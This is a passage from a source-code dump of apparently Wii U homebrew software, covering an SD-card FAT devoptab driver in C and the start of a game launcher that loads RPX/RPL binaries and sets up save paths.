OSLockMutex(file->dev->pMutex);\n\n    // Zero out the stat buffer\n    memset(st, 0, sizeof(struct stat));\n\n    FSStat stats;\n    int result = FSGetStatFile(file->dev->pClient, file->dev->pCmd, file->fd, &stats, -1);\n    if(result != 0) {\n        r->_errno = result;\n        OSUnlockMutex(file->dev->pMutex);\n        return -1;\n    }\n\n    st->st_mode = S_IFREG;\n    st->st_size = stats.size;\n    st->st_blocks = (stats.size + 511) >> 9;\n    st->st_nlink = 1;\n\n    // Fill in the generic entry stats\n    st->st_dev = stats.ent_id;\n    st->st_uid = stats.owner_id;\n    st->st_gid = stats.group_id;\n    st->st_ino = stats.ent_id;\n    st->st_atime = stats.mtime;\n    st->st_ctime = stats.ctime;\n    st->st_mtime = stats.mtime;\n    OSUnlockMutex(file->dev->pMutex);\n    return 0;\n}\n\nstatic int sd_fat_ftruncate_r (struct _reent *r, void* fd, off_t len)\n{\n    sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;\n    if(!file->dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(file->dev->pMutex);\n\n    int result = FSTruncateFile(file->dev->pClient, file->dev->pCmd, file->fd, -1);\n\n    OSUnlockMutex(file->dev->pMutex);\n\n    if(result < 0) {\n        r->_errno = result;\n        return -1;\n    }\n\n    return 0;\n}\n\nstatic int sd_fat_fsync_r (struct _reent *r, void* fd)\n{\n    sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;\n    if(!file->dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(file->dev->pMutex);\n\n    int result = FSFlushFile(file->dev->pClient, file->dev->pCmd, file->fd, -1);\n\n    OSUnlockMutex(file->dev->pMutex);\n\n    if(result < 0) {\n        r->_errno = result;\n        return -1;\n    }\n\n    return 0;\n}\n\nstatic int sd_fat_stat_r (struct _reent *r, const char *path, struct stat *st)\n{\n    sd_fat_private_t *dev = sd_fat_get_device_data(path);\n    if(!dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(dev->pMutex);\n\n    // Zero out the stat buffer\n    memset(st, 0, sizeof(struct stat));\n\n    char *real_path = sd_fat_real_path(path, dev);\n    if(!real_path) {\n        r->_errno = ENOMEM;\n        OSUnlockMutex(dev->pMutex);\n        return -1;\n    }\n\n    FSStat stats;\n\n    int result = FSGetStat(dev->pClient, dev->pCmd, real_path, &stats, -1);\n\n    free(real_path);\n\n    if(result < 0) {\n        r->_errno = result;\n        OSUnlockMutex(dev->pMutex);\n        return -1;\n    }\n\n    // mark root also as directory\n    st->st_mode = ((stats.flag & 0x80000000) || (strlen(dev->mount_path) + 1 == strlen(real_path)))? S_IFDIR : S_IFREG;\n    st->st_nlink = 1;\n    st->st_size = stats.size;\n    st->st_blocks = (stats.size + 511) >> 9;\n    // Fill in the generic entry stats\n    st->st_dev = stats.ent_id;\n    st->st_uid = stats.owner_id;\n    st->st_gid = stats.group_id;\n    st->st_ino = stats.ent_id;\n    st->st_atime = stats.mtime;\n    st->st_ctime = stats.ctime;\n    st->st_mtime = stats.mtime;\n\n    OSUnlockMutex(dev->pMutex);\n\n    return 0;\n}\n\nstatic int sd_fat_link_r (struct _reent *r, const char *existing, const char *newLink)\n{\n    r->_errno = ENOTSUP;\n    return -1;\n}\n\nstatic int sd_fat_unlink_r (struct _reent *r, const char *name)\n{\n    sd_fat_private_t *dev = sd_fat_get_device_data(name);\n    if(!dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(dev->pMutex);\n\n    char *real_path = sd_fat_real_path(name, dev);\n    if(!real_path) {\n        r->_errno = ENOMEM;\n        OSUnlockMutex(dev->pMutex);\n        return -1;\n    }\n\n\n    int result = FSRemove(dev->pClient, dev->pCmd, real_path, -1);\n\n    free(real_path);\n\n    OSUnlockMutex(dev->pMutex);\n\n    if(result < 0) {\n        r->_errno = result;\n        return -1;\n    }\n\n    return 0;\n}\n\nstatic int sd_fat_chdir_r (struct _reent *r, const char *name)\n{\n    sd_fat_private_t *dev = sd_fat_get_device_data(name);\n    if(!dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(dev->pMutex);\n\n    char *real_path = sd_fat_real_path(name, dev);\n    if(!real_path) {\n        r->_errno = ENOMEM;\n        OSUnlockMutex(dev->pMutex);\n        return -1;\n    }\n\n    int result = FSChangeDir(dev->pClient, dev->pCmd, real_path, -1);\n\n    free(real_path);\n\n    OSUnlockMutex(dev->pMutex);\n\n    if(result < 0) {\n        r->_errno = result;\n        return -1;\n    }\n\n    return 0;\n}\n\nstatic int sd_fat_rename_r (struct _reent *r, const char *oldName, const char *newName)\n{\n    sd_fat_private_t *dev = sd_fat_get_device_data(oldName);\n    if(!dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(dev->pMutex);\n\n    char *real_oldpath = sd_fat_real_path(oldName, dev);\n    if(!real_oldpath) {\n        r->_errno = ENOMEM;\n        OSUnlockMutex(dev->pMutex);\n        return -1;\n    }\n    char *real_newpath = sd_fat_real_path(newName, dev);\n    if(!real_newpath) {\n        r->_errno = ENOMEM;\n        free(real_oldpath);\n        OSUnlockMutex(dev->pMutex);\n        return -1;\n    }\n\n    int result = FSRename(dev->pClient, dev->pCmd, real_oldpath, real_newpath, -1);\n\n    free(real_oldpath);\n    free(real_newpath);\n\n    OSUnlockMutex(dev->pMutex);\n\n    if(result < 0) {\n        r->_errno = result;\n        return -1;\n    }\n\n    return 0;\n\n}\n\nstatic int sd_fat_mkdir_r (struct _reent *r, const char *path, int mode)\n{\n    sd_fat_private_t *dev = sd_fat_get_device_data(path);\n    if(!dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(dev->pMutex);\n\n    char *real_path = sd_fat_real_path(path, dev);\n    if(!real_path) {\n        r->_errno = ENOMEM;\n        OSUnlockMutex(dev->pMutex);\n        return -1;\n    }\n\n    int result = FSMakeDir(dev->pClient, dev->pCmd, real_path, -1);\n\n    free(real_path);\n\n    OSUnlockMutex(dev->pMutex);\n\n    if(result < 0) {\n        r->_errno = result;\n        return -1;\n    }\n\n    return 0;\n}\n\nstatic int sd_fat_statvfs_r (struct _reent *r, const char *path, struct statvfs *buf)\n{\n    sd_fat_private_t *dev = sd_fat_get_device_data(path);\n    if(!dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(dev->pMutex);\n\n    // Zero out the stat buffer\n    memset(buf, 0, sizeof(struct statvfs));\n\n    char *real_path = sd_fat_real_path(path, dev);\n    if(!real_path) {\n        r->_errno = ENOMEM;\n        OSUnlockMutex(dev->pMutex);\n        return -1;\n    }\n\n    u64 size;\n\n    int result = FSGetFreeSpaceSize(dev->pClient, dev->pCmd, real_path, &size, -1);\n\n    free(real_path);\n\n    if(result < 0) {\n        r->_errno = result;\n        OSUnlockMutex(dev->pMutex);\n        return -1;\n    }\n\n    // File system block size\n    buf->f_bsize = 512;\n\n    // Fundamental file system block size\n    buf->f_frsize = 512;\n\n    // Total number of blocks on file system in units of f_frsize\n    buf->f_blocks = size >> 9; // this is unknown\n\n    // Free blocks available for all and for non-privileged processes\n    buf->f_bfree = buf->f_bavail = size >> 9;\n\n    // Number of inodes at this point in time\n    buf->f_files = 0xffffffff;\n\n    // Free inodes available for all and for non-privileged processes\n    buf->f_ffree = 0xffffffff;\n\n    // File system id\n    buf->f_fsid = (int)dev;\n\n    // Bit mask of f_flag values.\n    buf->f_flag = 0;\n\n    // Maximum length of filenames\n    buf->f_namemax = 255;\n\n    OSUnlockMutex(dev->pMutex);\n\n    return 0;\n}\n\nstatic DIR_ITER *sd_fat_diropen_r (struct _reent *r, DIR_ITER *dirState, const char *path)\n{\n    sd_fat_private_t *dev = sd_fat_get_device_data(path);\n    if(!dev) {\n        r->_errno = ENODEV;\n        return NULL;\n    }\n\n    sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct;\n\n    OSLockMutex(dev->pMutex);\n\n    char *real_path = sd_fat_real_path(path, dev);\n    if(!real_path) {\n        r->_errno = ENOMEM;\n        OSUnlockMutex(dev->pMutex);\n        return NULL;\n    }\n\n    s32 dirHandle;\n\n    int result = FSOpenDir(dev->pClient, dev->pCmd, real_path, &dirHandle, -1);\n\n    free(real_path);\n\n    OSUnlockMutex(dev->pMutex);\n\n    if(result < 0)\n    {\n        r->_errno = result;\n        return NULL;\n    }\n\n    dirIter->dev = dev;\n    dirIter->dirHandle = dirHandle;\n\n    return dirState;\n}\n\nstatic int sd_fat_dirclose_r (struct _reent *r, DIR_ITER *dirState)\n{\n    sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct;\n    if(!dirIter->dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(dirIter->dev->pMutex);\n\n    int result = FSCloseDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1);\n\n    OSUnlockMutex(dirIter->dev->pMutex);\n\n    if(result < 0)\n    {\n        r->_errno = result;\n        return -1;\n    }\n    return 0;\n}\n\nstatic int sd_fat_dirreset_r (struct _reent *r, DIR_ITER *dirState)\n{\n    sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct;\n    if(!dirIter->dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(dirIter->dev->pMutex);\n\n    int result = FSRewindDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1);\n\n    OSUnlockMutex(dirIter->dev->pMutex);\n\n    if(result < 0)\n    {\n        r->_errno = result;\n        return -1;\n    }\n    return 0;\n}\n\nstatic int sd_fat_dirnext_r (struct _reent *r, DIR_ITER *dirState, char *filename, struct stat *st)\n{\n    sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct;\n    if(!dirIter->dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(dirIter->dev->pMutex);\n\n    FSDirEntry * dir_entry = malloc(sizeof(FSDirEntry));\n\n    int result = FSReadDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, dir_entry, -1);\n    if(result < 0)\n    {\n        free(dir_entry);\n        r->_errno = result;\n        OSUnlockMutex(dirIter->dev->pMutex);\n        return -1;\n    }\n\n    // Fetch the current entry\n    strcpy(filename, dir_entry->name);\n\n    if(st)\n    {\n        memset(st, 0, sizeof(struct stat));\n        st->st_mode = (dir_entry->stat.flag & 0x80000000) ? S_IFDIR : S_IFREG;\n        st->st_nlink = 1;\n        st->st_size = dir_entry->stat.size;\n        st->st_blocks = (dir_entry->stat.size + 511) >> 9;\n        st->st_dev = dir_entry->stat.ent_id;\n        st->st_uid = dir_entry->stat.owner_id;\n        st->st_gid = dir_entry->stat.group_id;\n        st->st_ino = dir_entry->stat.ent_id;\n        st->st_atime = dir_entry->stat.mtime;\n        st->st_ctime = dir_entry->stat.ctime;\n        st->st_mtime = dir_entry->stat.mtime;\n    }\n\n    free(dir_entry);\n    OSUnlockMutex(dirIter->dev->pMutex);\n    return 0;\n}\n\n// SD device driver devoptab\nstatic const devoptab_t devops_sd_fat = {\n    NULL, /* Device name */\n    sizeof (sd_fat_file_state_t),\n    sd_fat_open_r,\n    sd_fat_close_r,\n    sd_fat_write_r,\n    sd_fat_read_r,\n    sd_fat_seek_r,\n    sd_fat_fstat_r,\n    sd_fat_stat_r,\n    sd_fat_link_r,\n    sd_fat_unlink_r,\n    sd_fat_chdir_r,\n    sd_fat_rename_r,\n    sd_fat_mkdir_r,\n    sizeof (sd_fat_dir_entry_t),\n    sd_fat_diropen_r,\n    sd_fat_dirreset_r,\n    sd_fat_dirnext_r,\n    sd_fat_dirclose_r,\n    sd_fat_statvfs_r,\n    sd_fat_ftruncate_r,\n    sd_fat_fsync_r,\n    NULL,  /* Device data */\n    NULL, /* sd_fat_chmod_r */\n    NULL, /* sd_fat_fchmod_r */\n    NULL  /* sd_fat_rmdir_r */\n};\n\n\nstatic int sd_fat_add_device (const char *name, const char *mount_path, void *pClient, void *pCmd)\n{\n    devoptab_t *dev = NULL;\n    char *devname = NULL;\n    char *devpath = NULL;\n    int i;\n\n    // Sanity check\n    if (!name) {\n        errno = EINVAL;\n        return -1;\n    }\n\n    // Allocate a devoptab for this device\n    dev = (devoptab_t *) malloc(sizeof(devoptab_t) + strlen(name) + 1);\n    if (!dev) {\n        errno = ENOMEM;\n        return -1;\n    }\n\n    // Use the space allocated at the end of the devoptab for storing the device name\n    devname = (char*)(dev + 1);\n    strcpy(devname, name);\n\n    // create private data\n    int mount_path_len = 0;\n    if(mount_path != NULL){\n        mount_path_len = strlen(mount_path);\n    }\n    sd_fat_private_t *priv = (sd_fat_private_t *)malloc(sizeof(sd_fat_private_t) + mount_path_len + 1);\n    if(!priv) {\n        free(dev);\n        errno = ENOMEM;\n        return -1;\n    }\n\n    devpath = (char*)(priv+1);\n    if(mount_path != NULL){\n        strcpy(devpath, mount_path);\n    }\n\n    // setup private data\n    priv->mount_path = devpath;\n    priv->pClient = pClient;\n    priv->pCmd = pCmd;\n    priv->pMutex = malloc(OS_MUTEX_SIZE);\n\n    if(!priv->pMutex) {\n        free(dev);\n        free(priv);\n        errno = ENOMEM;\n        return -1;\n    }\n\n    OSInitMutex(priv->pMutex);\n\n    // Setup the devoptab\n    memcpy(dev, &devops_sd_fat, sizeof(devoptab_t));\n    dev->name = devname;\n    dev->deviceData = priv;\n\n    // Add the device to the devoptab table (if there is a free slot)\n    for (i = 3; i < STD_MAX; i++) {\n        if (devoptab_list[i] == devoptab_list[0]) {\n            devoptab_list[i] = dev;\n            return 0;\n        }\n    }\n\n    // failure, free all memory\n    free(priv);\n    free(dev);\n\n    // If we reach here then there are no free slots in the devoptab table for this device\n    errno = EADDRNOTAVAIL;\n    return -1;\n}\n\n/*\nBecause of some weird reason unmounting doesn't work properly.\nThis fix if mainly when a usb drive is connected.\nIt resets the devoptab_list, otherwise mounting again would throw an exception (in strlen).\nNo memory is free'd here. Maybe a problem?!?!?\n*/\n\nvoid deleteDevTabsNames(){\n    const devoptab_t * devoptab = NULL;\n    u32 last_entry = (u32) devoptab_list[STD_MAX-1];\n    for (int i = 3; i < STD_MAX; i++) {\n        devoptab = devoptab_list[i];\n\n        if (devoptab) {\n            //log_printf(\"check devotab %d %08X\\n\",i,devoptab);\n            if((u32) devoptab != last_entry){\n                devoptab_list[i] = (const devoptab_t *)last_entry;\n                //log_printf(\"Removed devotab %d %08X %08X %08X\\n\",i,devoptab,devoptab->name,devoptab->deviceData);\n            }\n        }\n    }\n}\n\nstatic int sd_fat_remove_device (const char *path, void **pClient, void **pCmd, char **mountPath)\n{\n    const devoptab_t *devoptab = NULL;\n    char name[128] = {0};\n    int i;\n\n    // Get the device name from the path\n    strncpy(name, path, 127);\n    strtok(name, \":/\");\n\n    // Find and remove the specified device from the devoptab table\n    // NOTE: We do this manually due to a 'bug' in RemoveDevice\n    //       which ignores names with suffixes and causes names\n    //       like \"ntfs\" and \"ntfs1\" to be seen as equals\n    for (i = 3; i < STD_MAX; i++) {\n        devoptab = devoptab_list[i];\n        if (devoptab && devoptab->name) {\n            if (strcmp(name, devoptab->name) == 0) {\n                devoptab_list[i] = devoptab_list[0];\n\n                if(devoptab->deviceData)\n                {\n                    sd_fat_private_t *priv = (sd_fat_private_t *)devoptab->deviceData;\n                    if(pClient != NULL) *pClient = priv->pClient;\n                    if(pCmd != NULL) *pCmd = priv->pCmd;\n                    if(mountPath != NULL){\n                        *mountPath = (char*) malloc(strlen(priv->mount_path)+1);\n                        if(*mountPath)\n                            strcpy(*mountPath, priv->mount_path);\n                    }\n                    if(priv->pMutex)\n                        free(priv->pMutex);\n                    free(devoptab->deviceData);\n                }\n\n                free((devoptab_t*)devoptab);\n                return 0;\n            }\n        }\n    }\n\n    return -1;\n}\n\nint mount_sd_fat(const char *path)\n{\n    int result = -1;\n\n    // get command and client\n    void* pClient = malloc(FS_CLIENT_SIZE);\n    void* pCmd = malloc(FS_CMD_BLOCK_SIZE);\n\n    if(!pClient || !pCmd) {\n        // just in case free if not 0\n        if(pClient)\n            free(pClient);\n        if(pCmd)\n            free(pCmd);\n        return -2;\n    }\n\n    FSInit();\n    FSInitCmdBlock(pCmd);\n    FSAddClientEx(pClient, 0, -1);\n\n    char *mountPath = NULL;\n\n    if(MountFS(pClient, pCmd, &mountPath) == 0) {\n        result = sd_fat_add_device(path, mountPath, pClient, pCmd);\n        free(mountPath);\n    }\n\n    return result;\n}\n\nint unmount_sd_fat(const char *path)\n{\n    void *pClient = 0;\n    void *pCmd = 0;\n    char *mountPath = 0;\n\n    int result = sd_fat_remove_device(path, &pClient, &pCmd, &mountPath);\n    if(result == 0)\n    {\n        UmountFS(pClient, pCmd, mountPath);\n        FSDelClient(pClient);\n        free(pClient);\n        free(pCmd);\n        free(mountPath);\n        //FSShutdown();\n    }\n    return result;\n}\n\nint mount_fake(){\n    return sd_fat_add_device(\"fake\", NULL, NULL, NULL);\n}\n\nint unmount_fake(){\n    return sd_fat_remove_device (\"fake\", NULL,NULL,NULL);\n}\n"
  },
  {
    "path": "src/fs/sd_fat_devoptab.h",
    "content": "/***************************************************************************\n * Copyright (C) 2015\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n ***************************************************************************/\n#ifndef __SD_FAT_DEVOPTAB_H_\n#define __SD_FAT_DEVOPTAB_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ns32 mount_sd_fat(const char *path);\ns32 unmount_sd_fat(const char *path);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __SD_FAT_DEVOPTAB_H_\n"
  },
  {
    "path": "src/game/GameLauncher.cpp",
    "content": "#include <algorithm>\n#include <string>\n#include <map>\n#include <string.h>\n#include <fcntl.h>\n\n#include <zlib.h>\n#include \"fs/fs_utils.h\"\n#include \"settings/CSettings.h\"\n#include \"GameLauncher.h\"\n#include \"fs/CFile.hpp\"\n#include \"fs/DirList.h\"\n#include \"kernel/kernel_functions.h\"\n#include \"utils/StringTools.h\"\n#include \"utils/logger.h\"\n#include \"utils/xml.h\"\n#include \"utils/utils.h\"\n#include \"settings/CSettingsGame.h\"\n#include \"settings/SettingsGameDefs.h\"\n#include \"utils/FileReplacer.h\"\n#include \"common/retain_vars.h\"\n\n/* RPX stuff */\n#define RPX_SH_STRNDX_OFFSET            0x0032\n#define RPX_SHT_START                   0x0040\n#define RPX_SHT_ENTRY_SIZE              0x28\n\n#define RPX_SHDR_FLAGS_OFFSET           0x08\n#define RPX_SHDR_OFFSET_OFFSET          0x10\n#define RPX_SHDR_SIZE_OFFSET            0x14\n\n#define RPX_SHDR_ZLIB_FLAG              0x08000000\n\ngame_paths_t gamePathStruct;\n\n/* global variable for CosAppXml struct that is forced to data section */\nextern ReducedCosAppXmlInfo cosAppXmlInfoStruct;\n\nGameLauncher * GameLauncher::loadGameToMemoryAsync(const discHeader *hdr)\n{\n    GameLauncher * launcher = new GameLauncher(hdr);\n    launcher->resumeThread();\n    return launcher;\n}\n\nvoid GameLauncher::executeThread()\n{\n    int result = loadGameToMemory(discHdr);\n    asyncLoadFinished(this, discHdr, result);\n}\n\nint GameLauncher::loadGameToMemory(const discHeader *header)\n{\n    if(!header)\n        return INVALID_INPUT;\n\n    //! initialize our tables required for the games\n    memoryInitAreaTable();\n    rpxRplTableInit();\n\n\n\tstd::map<std::string, std::string> rplUpdateNameList;\n\tstd::map<std::string, std::string> rplFinalNameList;\n\tstd::string completeUpdatePath(header->gamepath);\n\tDirList rpxList(header->gamepath + RPX_RPL_PATH, \".rpx\", DirList::Files);\n\tstd::string rpxName;\n\tstd::string rpxPath;\n\n\tif(rpxList.GetFilecount() == 0)\n\n    {\n        DEBUG_FUNCTION_LINE(\"RPX file not found!\\n\");\n        return RPX_NOT_FOUND;\n    }\n    if(rpxList.GetFilecount() != 1)\n    {\n        DEBUG_FUNCTION_LINE(\"Warning: Too many RPX files in the folder! Found %i files! Using first one.\\n\", rpxList.GetFilecount());\n        //return TOO_MANY_RPX_NOT_FOUND;\n    }\n\n\trpxName = rpxList.GetFilename(0);\n\trpxPath = rpxList.GetFilepath(0);\n\n\t//! TODO: clean this path creation up\n    std::string game_dir = header->gamepath;\n    size_t pos = game_dir.rfind('/');\n\n    if(pos != std::string::npos)\n        game_dir = game_dir.substr(pos + 1);\n\n\t//! set the save game path from the gamenames path\n    std::string saveGamePath = CSettings::getValueAsString(CSettings::GameSavePath) + \"/\" + game_dir;\n\n\tstd::string saveGamePathCommon;\n    std::string saveGamePathUser;\n\tstd::string updateFolder = COMMON_UPDATE_PATH;\n\n\tu8 save_method = CSettings::getValueAsU8(CSettings::GameSaveMode);\n\n\tGameSettings gs;\n\n    bool extra_save = false;\n\n\tbool gs_result = CSettingsGame::getInstance()->LoadGameSettings(header->id, gs);\n\tbool use_new_xml = false;\n\tif(gs_result){\n        DEBUG_FUNCTION_LINE(\"Found game settings\\n\");\n        if(gs.updateFolder.compare(COMMON_UPDATE_PATH) != 0){\n            DEBUG_FUNCTION_LINE(\"Using Update folder\\n\");\n\n            gSettingUseUpdatepath = 1;\n            updateFolder = gs.updateFolder;\n            completeUpdatePath += UPDATE_PATH + std::string(\"/\") + updateFolder;\n\n            createFileList(completeUpdatePath);\n\n            //Checking RPX\n            DirList rpxUpdateList(completeUpdatePath + RPX_RPL_PATH, \".rpx\", DirList::Files);\n            if(rpxUpdateList.GetFilecount() != 0){\n                DEBUG_FUNCTION_LINE(\"Using RPX from update path\\n\");\n                use_new_xml = true;\n                rpxName = rpxUpdateList.GetFilename(0);\n                rpxPath = rpxUpdateList.GetFilepath(0);\n            }else{\n                DEBUG_FUNCTION_LINE(\"Using RPX from game path\\n\");\n            }\n\n            //Checking RPL\n            DirList rplUpdateList(completeUpdatePath + RPX_RPL_PATH, \".rpl\", DirList::Files);\n            if(rplUpdateList.GetFilecount() != 0)\n            {\n                DEBUG_FUNCTION_LINE(\"Using RPL from update path\\n\");\n                for(int i = 0; i < rplUpdateList.GetFilecount(); i++){\n                    rplUpdateNameList[rplUpdateList.GetFilename(i)] = rplUpdateList.GetFilepath(i);\n                    rplFinalNameList[rplUpdateList.GetFilename(i)] = rplUpdateList.GetFilepath(i);\n                }\n            }else{\n                DEBUG_FUNCTION_LINE(\"Using RPL from game path\\n\");\n            }\n\n            if(gs.extraSave){\n               DEBUG_FUNCTION_LINE(\"Using extra save path for update\\n\");\n               extra_save = true;\n            }\n\t\t}else{\n            DEBUG_FUNCTION_LINE(\"Not using Update folder\\n\");\n            gSettingUseUpdatepath = 0;\n        }\n\n\t\tswitch(gs.save_method){\n\t\t\tcase GAME_SAVES_DEFAULT:\n\t\t\t\tDEBUG_FUNCTION_LINE(\"Using save method from Settings\\n\");\n\t\t\t\tbreak; //leave it from settings\n\t\t\tcase GAME_SAVES_SHARED:\n\t\t\t\tDEBUG_FUNCTION_LINE(\"Using GAME_SAVES_SHARED cfg\\n\");\n\t\t\t\tsave_method = GAME_SAVES_SHARED;\n\t\t\t\tbreak;\n\t\t\tcase GAME_SAVES_UNIQUE:\n\t\t\t\tDEBUG_FUNCTION_LINE(\"Using GAME_SAVES_UNIQUE cfg\\n\");\n\t\t\t\tsave_method = GAME_SAVES_UNIQUE;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tDEBUG_FUNCTION_LINE(\"Default: GAME_SAVES_SHARED\\n\");\n\t\t\t\tDEBUG_FUNCTION_LINE(\"%d\\n\",gs.save_method);\n\t\t\t\tsave_method = GAME_SAVES_SHARED;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n    u32 entryIndex = 0;\n    std::vector<std::string> rplImportList;\n\n    //! get all imports from the RPX\n    CFile rpxFile(rpxPath.c_str(),CFile::ReadOnly);\n\n    int result = LoadRpxRplToMem(rpxPath.c_str(), rpxName.c_str(), true, entryIndex++, rplImportList);\n    if(result < 0)\n    {\n        DEBUG_FUNCTION_LINE(\"Failed loading RPX file %s, error %i\\n\", rpxName.c_str(), result);\n        return result;\n    }else{\n\t\tDEBUG_FUNCTION_LINE(\"Loaded RPX file %s, result %i\\n\", rpxPath.c_str(), result);\n\t}\n\n\t//! add missing rpl to vector\n\tDirList rplList(header->gamepath + RPX_RPL_PATH, \".rpl\", DirList::Files);\n\tstd::map<std::string, std::string>::iterator itr;\n\tstd::map<std::string, std::string>::iterator itr_lower;\n\n    std::string new_lower;\n    std::string old_lower;\n\n    bool found = false;\n\tfor(int i = 0; i < rplList.GetFilecount(); i++)\n    {\n        new_lower = rplList.GetFilename(i);\n        found = false;\n        for(itr_lower = rplUpdateNameList.begin(); itr_lower != rplUpdateNameList.end(); itr_lower++) {\n            old_lower = itr_lower->first;\n            std::transform(old_lower.begin(), old_lower.end(), old_lower.begin(), ::tolower);\n            std::transform(new_lower.begin(), new_lower.end(), new_lower.begin(), ::tolower);\n            if(old_lower.compare(new_lower) == 0){\n                DEBUG_FUNCTION_LINE(\"Adding RPL %s from %s\\n\",itr_lower->first.c_str(),itr_lower->second.c_str());\n                rplFinalNameList[itr_lower->first] = itr_lower->second;\n                found = true;\n                break;\n            }\n        }\n\n\t\tif(!found){\n\t\t\tDEBUG_FUNCTION_LINE(\"Adding RPL %s from %s\\n\",rplList.GetFilename(i),rplList.GetFilepath(i));\n\t\t\trplFinalNameList[rplList.GetFilename(i)] = rplList.GetFilepath(i);\n\t\t}\n\t}\n\n\t//! get imports\n    GetRpxImportsRecursive(rpxFile,rplImportList,rplFinalNameList);\n\n\tfor(itr = rplFinalNameList.begin(); itr != rplFinalNameList.end(); itr++) {\n        result = LoadRpxRplToMem(itr->second.c_str(), itr->first.c_str(), false, entryIndex++, rplImportList);\n        if(result < 0)\n        {\n            DEBUG_FUNCTION_LINE(\"Failed loading RPL file %s, error %i\\n\", itr->second.c_str(), result);\n            return result;\n        }else{\n\t\t\tDEBUG_FUNCTION_LINE(\"Loaded RPL file %s, result %i\\n\", itr->second.c_str(), result);\n\t\t}\n    }\n\n    if(save_method == GAME_SAVES_SHARED)\n    {\n        saveGamePathUser = \"u\";\n        saveGamePathCommon = \"c\";\n    }\n    else\n    {\n        /* get persistent ID - thanks to Maschell */\n        u32 nn_act_handle;\n        u64 (*GetPersistentIdEx)(unsigned char);\n        s32 (*GetSlotNo)(void);\n        void (*nn_Initialize)(void);\n        void (*nn_Finalize)(void);\n        OSDynLoad_Acquire(\"nn_act.rpl\", &nn_act_handle);\n        OSDynLoad_FindExport(nn_act_handle, 0, \"GetPersistentIdEx__Q2_2nn3actFUc\", &GetPersistentIdEx);\n        OSDynLoad_FindExport(nn_act_handle, 0, \"GetSlotNo__Q2_2nn3actFv\", &GetSlotNo);\n        OSDynLoad_FindExport(nn_act_handle, 0, \"Initialize__Q2_2nn3actFv\", &nn_Initialize);\n        OSDynLoad_FindExport(nn_act_handle, 0, \"Finalize__Q2_2nn3actFv\", &nn_Finalize);\n\n        nn_Initialize(); // To be sure that it is really Initialized\n\n        unsigned char slotno = GetSlotNo();\n        unsigned int persistentID = GetPersistentIdEx(slotno);\n        nn_Finalize(); //must be called an equal number of times to nn_Initialize\n\n        char persistentIdString[10];\n        snprintf(persistentIdString, sizeof(persistentIdString), \"%08X\", persistentID);\n\n        saveGamePathUser = persistentIdString;\n        saveGamePathCommon = \"common\";\n    }\n\n    if(!extra_save){\n        CreateSubfolder((saveGamePath + \"/\" + saveGamePathUser).c_str());\n        CreateSubfolder((saveGamePath + \"/\" + saveGamePathCommon).c_str());\n    }else{\n        CreateSubfolder((saveGamePath + \"/\" + updateFolder + \"/\" + saveGamePathUser).c_str());\n        CreateSubfolder((saveGamePath + \"/\" + updateFolder + \"/\" + saveGamePathCommon).c_str());\n    }\n\n\n    std::string tempPath = CSettings::getValueAsString(CSettings::GamePath);\n    //! remove \"sd:\" and replace with \"/vol/external01\"\n    pos = tempPath.find('/');\n    if(pos != std::string::npos)\n        tempPath = std::string(CAFE_OS_SD_PATH) + tempPath.substr(pos);\n\n    strlcpy(gamePathStruct.os_game_path_base, tempPath.c_str(), sizeof(gamePathStruct.os_game_path_base));\n\n    tempPath = CSettings::getValueAsString(CSettings::GameSavePath);\n    //! remove \"sd:\" and replace with \"/vol/external01\"\n    pos = tempPath.find('/');\n    if(pos != std::string::npos)\n        tempPath = std::string(CAFE_OS_SD_PATH) + tempPath.substr(pos);\n\n    strlcpy(gamePathStruct.os_save_path_base, tempPath.c_str(), sizeof(gamePathStruct.os_save_path_base));\n    strlcpy(gamePathStruct.game_dir, game_dir.c_str(), sizeof(gamePathStruct.game_dir));\n\tstrlcpy(gamePathStruct.update_folder, updateFolder.c_str(), sizeof(gamePathStruct.update_folder));\n    strlcpy(gamePathStruct.save_dir_common, saveGamePathCommon.c_str(), sizeof(gamePathStruct.save_dir_common));\n    strlcpy(gamePathStruct.save_dir_user, saveGamePathUser.c_str(), sizeof(gamePathStruct.save_dir_user));\n\n    if(extra_save){\n        gamePathStruct.extraSave = 1;\n    }else{\n        gamePathStruct.extraSave = 0;\n    }\n\n    DEBUG_FUNCTION_LINE(\"gamePathStruct.os_game_path_base: %s\\n\", 